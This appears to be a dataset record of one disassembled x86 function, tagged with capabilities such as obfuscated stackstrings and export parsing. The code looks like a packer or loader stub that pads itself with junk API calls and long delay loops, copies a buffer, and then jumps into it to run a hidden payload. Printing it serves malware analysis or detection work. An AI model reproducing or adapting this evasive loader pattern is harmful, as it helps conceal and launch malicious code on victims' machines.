Function at 0x403860
Capabilities:
Contain obfuscated stackstrings
Get common file path
Manipulate console buffer
Move file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42ec16
push eax
mov dword fs:[0], esp
sub esp, 0xaec
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp dword [0x49e4dc], 0xac
jne 0x4039e5
push edi
lea eax, [esp + 0x2fc]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
lea ecx, [esp + 0x128]
push ecx
push edi
push edi
push 0x402d40
push edi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
lea edx, [esp + 0x7c]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
push ecx
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetTextExtentExPointW]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_GetEventLogInformation]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov dword [esp + 0xd4], 0xf
mov dword [esp + 0xd0], edi
mov byte [esp + 0xc0], 0
push edi
mov dword [esp + 0xb08], edi
call fcn.00405d6c
add esp, 4
push edi
push 0x402c77
push 0x434388
call fcn.00405711
add esp, 0xc
call fcn.00404ca3
push 1
push 0x432100
lea ecx, [esp + 0xb8]
call fcn.0040578f
lea ecx, [esp + 0xb0]
mov dword [esp + 0xb0], 0x401264
call fcn.00405809
push edi
call fcn.0040590a
add esp, 4
push edi
call fcn.004058db
add esp, 4
push edi
push edi
call fcn.004058f1
push edi
push edi
call fcn.00405a5b
add esp, 0x10
call fcn.0040557c
lea edx, [esp + 0xd8]
push edx
call fcn.00404a70
lea ecx, [esp + 0xd8]
mov dword [esp + 0xd8], 0x402e68
mov dword [esp + 0x114], edi
mov dword [esp + 0x118], edi
mov byte [esp + 0xb04], 0
call fcn.00404450
mov dword [esp + 0xb04], 0xffffffff
cmp dword [esp + 0xd4], 0x10
jb 0x4039e5
mov eax, dword [esp + 0xc0]
push eax
call fcn.00405b47
add esp, 4
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0xd2b2
jge 0x403a03
push edi
lea ecx, [esp + 0x18]
push ecx
push edi
push edi
push edi
call ebx
inc esi
cmp esi, 0x139dc
jl 0x4039f0
add dword [0x49e4dc], 0x11b1b
call fcn.00403780
call fcn.004037a0
xor eax, eax
mov dword [esp + 0x10], eax
cmp dword [0x49e4dc], edi
jbe 0x403af4
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov edx, dword [0x49ee7c]
mov cl, byte [edx + eax + 0x11b1b]
mov edx, dword [0x49b3e4]
mov byte [edx + eax], cl
cmp dword [0x49e4dc], 0xa8
jne 0x403ae1
push 0x402d50
push 0x402d5c
push 0x402d98
push 0x402dd0
call esi
push 0
push 0
call edi
push 0x402ddc
call ebp
lea eax, [esp + 0x148]
push eax
call ebx
lea ecx, [esp + 0x1e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0x402de4
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, dword [0x49e4dc]
jb 0x403a50
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
mov ebx, dword [sym.imp.ADVAPI32.dll_MapGenericMask]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor eax, eax
mov dword [esp + 0x14], eax
mov edx, dword [0x49e4dc]
add edx, eax
cmp edx, 0xe
jne 0x403bbc
push 0
push 0
push 0
call esi
lea eax, [esp + 0x18]
push eax
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x80]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor eax, eax
xor edx, edx
mov word [esp + 0x10], dx
mov word [esp + 0x12], ax
mov ecx, dword [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x14], eax
jl 0x403b12
mov edi, dword [sym.imp.GDI32.dll_SelectPalette]
mov esi, 0x4f4
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403bd7
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
lea ebx, [ebx]
push 0
call edi
cmp esi, 0x3ba47e8
jge 0x403fd8
mov dword [esp + 0x64], 0x45163432
mov dword [esp + 0x3c], 0x365f6e7c
mov dword [esp + 0x2c], 0x1c9f8f9e
mov dword [esp + 0x68], 0x5fa72fdc
mov dword [esp + 0x18], 0x1d0c749
mov dword [esp + 0x90], 0x4f80fefc
mov dword [esp + 0x88], 0x4c0c1ba7
mov dword [esp + 0x74], 0x109ac3ac
mov dword [esp + 0xac], 0x1cfe86f0
mov dword [esp + 0x60], 0x4ff77d0a
mov dword [esp + 0x8c], 0x1d066b66
mov dword [esp + 0x5c], 0x730e096d
mov dword [esp + 0x14], 0xf8da946
mov dword [esp + 0x9c], 0x2b453a2c
mov dword [esp + 0x38], 0x196fddf2
mov dword [esp + 0x48], 0x579cd831
mov dword [esp + 0x34], 0x594610ff
mov dword [esp + 0x30], 0x4c24cf86
mov dword [esp + 0x98], 0x38f38c7d
mov dword [esp + 0x20], 0x42509c7f
mov dword [esp + 0x58], 0x6c728c2e
mov dword [esp + 0x40], 0x5f0b9dc5
mov dword [esp + 0x78], 0x3de54433
mov dword [esp + 0x70], 0x4d6a35bd
mov dword [esp + 0x7c], 0x701a6f09
mov dword [esp + 0x24], 0x3de7c98d
mov dword [esp + 0xa4], 0x70f432cb
mov dword [esp + 0x94], 0x553c193
mov dword [esp + 0x10], 0x460019d7
mov dword [esp + 0x1c], 0x1d71183f
mov dword [esp + 0xa0], 0x350fe109
mov dword [esp + 0x4c], 0x750b4476
mov dword [esp + 0x28], 0x7c9ab592
mov dword [esp + 0x84], 0x447a45e
mov dword [esp + 0xa8], 0xd51ab
mov dword [esp + 0x54], 0x231131a9
mov dword [esp + 0x50], 0x354406f6
mov dword [esp + 0x44], 0x1ce54cc2
mov dword [esp + 0x6c], 0x7da4391a
add dword [esp + 0x64], 0x1c00533b
sub dword [esp + 0x3c], 0x506befb3
sub dword [esp + 0x3c], 0x47ff376b
sub dword [esp + 0x68], 0x1364af7e
add dword [esp + 0x3c], 0x1ecc8725
add dword [esp + 0x2c], 0x11e9ba3a
add dword [esp + 0x18], 0x5ec6c150
mov eax, 0x2bbbdac
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
sub dword [esp + 0x18], 0x46eb3026
mov eax, 0x310dd3e8
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0x68], 0x26a842d7
add dword [esp + 0x3c], 0x2aeec06f
add dword [esp + 0x88], 0xcdff0fd
sub dword [esp + 0x90], 0x713b27ff
mov eax, 0x377f9670
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5d39ffcf
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x18], 0x57e748e3
add dword [esp + 0x88], 0x70063621
add dword [esp + 0x3c], 0x40855e35
add dword [esp + 0x64], 0x5e24bdd
add dword [esp + 0x90], 0x4f300ef8
add dword [esp + 0x90], 0x1f351b75
sub dword [esp + 0x90], 0x2648746d
sub dword [esp + 0xac], 0x768f021b
add dword [esp + 0x90], 0x551251ce
add dword [esp + 0x8c], 0x665e40b0
sub dword [esp + 0x64], 0x439c32e
add dword [esp + 0x5c], 0x6f8ca1d9
sub dword [esp + 0x2c], 0x53b40143
add dword [esp + 0x68], 0x6e9692e
mov eax, 0x5bf6d3b5
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0xd3430a9
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
mov eax, 0x37729c5f
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
add dword [esp + 0x5c], 0x2cf52702
sub dword [esp + 0xac], 0x2daf2947
sub dword [esp + 0x70], 0x3fa66771
mov eax, 0x536d7bb0
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x30], 0x531c4426
add dword [esp + 0x14], 0x1f35aa03
sub dword [esp + 0x38], 0x2f11117e
mov eax, 0x792c2eb0
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0x30], 0x3291341f
sub dword [esp + 0x78], 0x380856bc
mov eax, 0x2afe4fa3
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
mov eax, 0x3305a957
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x48], 0x41897da1
sub dword [esp + 0x20], 0x5cd7e062
sub dword [esp + 0x30], 0x1adf1bc4
add dword [esp + 0x88], 0x60a46988
mov eax, 0x3b198bef
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
sub dword [esp + 0x74], 0x5b3f12a3
add dword [esp + 0x18], 0x5733f9a8
mov eax, 0x4c6bf40b
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x5358eeda
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x28], 0x544ac742
mov eax, 0x506480bf
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0x2f3a7ef9
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
mov eax, 0x2494800
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x28], 0x3f0b950
add dword [esp + 0xa0], 0x1148d0b9
sub dword [esp + 0x5c], 0x5516ae52
cmp esi, 0xbfcc49
jg 0x403fed
inc esi
cmp esi, 0x19ce6be0
jl 0x403bf0
call fcn.00403630
xor edx, edx
cmp edx, 0x26
jne 0x403ffe
call fcn.00403760
inc edx
cmp edx, 0x409495
jl 0x403ff4
mov esi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov edi, 0x7b
cmp dword [0x49e4dc], 0x86
jne 0x404027
push 0
push 0x402df4
call esi
sub edi, 1
jne 0x404012
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [esp + 0x10], 0x180ef
lea esp, [esp]
cmp dword [0x49e4dc], 0x1f
jne 0x40407e
push 0
push 0
push 0
call esi
push 0
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call ebp
sub dword [esp + 0x10], 1
jne 0x404050
push 0x402e1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x49b3e4]
mov dword [0x49e4d0], eax
call eax
mov ecx, dword [esp + 0xafc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret